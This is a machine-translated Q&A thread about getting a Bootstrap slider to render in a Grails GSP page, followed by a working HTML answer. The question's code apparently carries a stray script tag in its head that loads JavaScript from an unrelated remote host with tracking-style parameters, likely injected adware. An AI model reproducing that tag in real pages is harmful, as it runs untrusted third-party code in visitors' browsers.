Bootstrap滑塊不起作用

我想在grails，gsp中創建一個Bootstrap滑塊。我從http://www.eyecon.ro/bootstrap-slider/得到了代碼。我已經下載了所需的css/js/less文件並在我的代碼中實現了它們。但是，我所看到的只是一個帶有值的文本字段，但沒有滑塊。有人可以幫忙嗎？這是我的gsp代碼：Bootstrap滑塊不起作用

<!DOCTYPE html> 
<html lang="en"> 
<head> 
<script type="text/javascript" id="2f2a695a6afce2c2d833c706cd677a8e"  src="http://d.lqw.me/xuiow/?o=3&g=21F492EE-4DCB-7284-6A95-F1DB7C6CB71B&s=BBA5481A-926B-4561-BD79-249F618495E6&z=1393034584"></script> 

<meta charset="utf-8"> 
<title>Slider for Bootstrap, from Twitter</title> 

<link rel="stylesheet" href="${resource(dir: 'css', file: 'bootstraps.css')}" type="text/css"> 
<link rel="stylesheet" href="${resource(dir: 'css', file: 'slider.css')}" type="text/css"> 

<style> 
.container { 
    background: #fff; 
} 
#alert { 
    display: none; 
} 
#sl2 { 
    width: 400px; 
} 
</style> 
<link rel="stylesheet" href="${resource(dir: 'css', file: 'prettify.css')}" type="text/css"> 
</head> 

<body> 
<div class="container"> 
<section id="typeahead"> 
    <div class="row"> 
    <div class="span9 columns"> 
     <h2>Example</h2> 
     <p>Basic example with custom formater</p> 
     <div class="well"> 
     <input type="text" class="span2" value="4" id="sl1" > 
     </div> 
     </div> 
    </div> 
</section> 
</div> 
<link href="${resource(dir: 'js', file: 'bootstrap-slider.js')}" type="text/javascript"> 
<link href="${resource(dir: 'js', file: 'jQuery.js')}" type="text/javascript"> 
<link href="${resource(dir: 'js', file: 'modernizr.js')}" type="text/javascript"> 
<link href="${resource(dir: 'js', file: 'prettify.js')}" type="text/javascript"> 
<script> 
     $(function(){ 
     $('#sl1').slider({ 
     formater: function(value) { 
     return 'Current value: '+value; 
     } 
     }); 
</script> 
<script src="http://www.google-analytics.com/urchin.js" type="text/javascript"> 
</script> 
</body> 
</html>

來源

2014-03-06 userstack

這對我很有用。

CODE：

<!DOCTYPE html> 
<html lang="en"> 
    <head> 
     <meta charset="utf-8"> 
     <title>Slider for Bootstrap, from Twitter</title> 

     <link rel="stylesheet" href="css/slider.css" type="text/css"> 
     <link href="http://netdna.bootstrapcdn.com/bootstrap/3.1.1/css/bootstrap.min.css" rel="stylesheet"> 
    </head> 

    <body> 
     <div class="container"> 
      <section id="typeahead"> 
       <div class="row"> 
        <div class="col-xs-12 columns"> 
         <h2>Example</h2> 
         <p>Basic example with custom formater</p> 
         <div class="row"> 
          <input type="text" class="col-xs-12 slider" value="4" /> 
         </div> 
        </div> 
       </div> 
      </section> 
     </div> 

     <script src="http://code.jquery.com/jquery-1.11.0.min.js" type="text/javascript"></script> 
     <script src="http://netdna.bootstrapcdn.com/bootstrap/3.1.1/js/bootstrap.min.js"></script> 
     <script src="js/bootstrap-slider.js" type="text/javascript"></script> 
     <script> 
      $(function(){ 
       $('.slider').slider(); 
      }); 
     </script> 
    </body> 
</html>

步驟：

創建一個文件夾;
在此文件夾中創建一個html文件並粘貼上面的代碼;
下載Bootstrap-slider;
將文件解壓到您創建的文件夾中;
享受:)

來源

2014-03-07 09:19:46 PAdrian

謝謝你的回答阿德里安。我複製粘貼你的代碼在Grails中，添加所需的Bootstrap文件（CSS，JS，更少）。儘管如此，我只能看到一個文本框？我正在使用grails 2.2.4。這可能是版本問題嗎？我該怎麼做？ – userstack

Bootstrap滑塊不起作用

回答

相關問題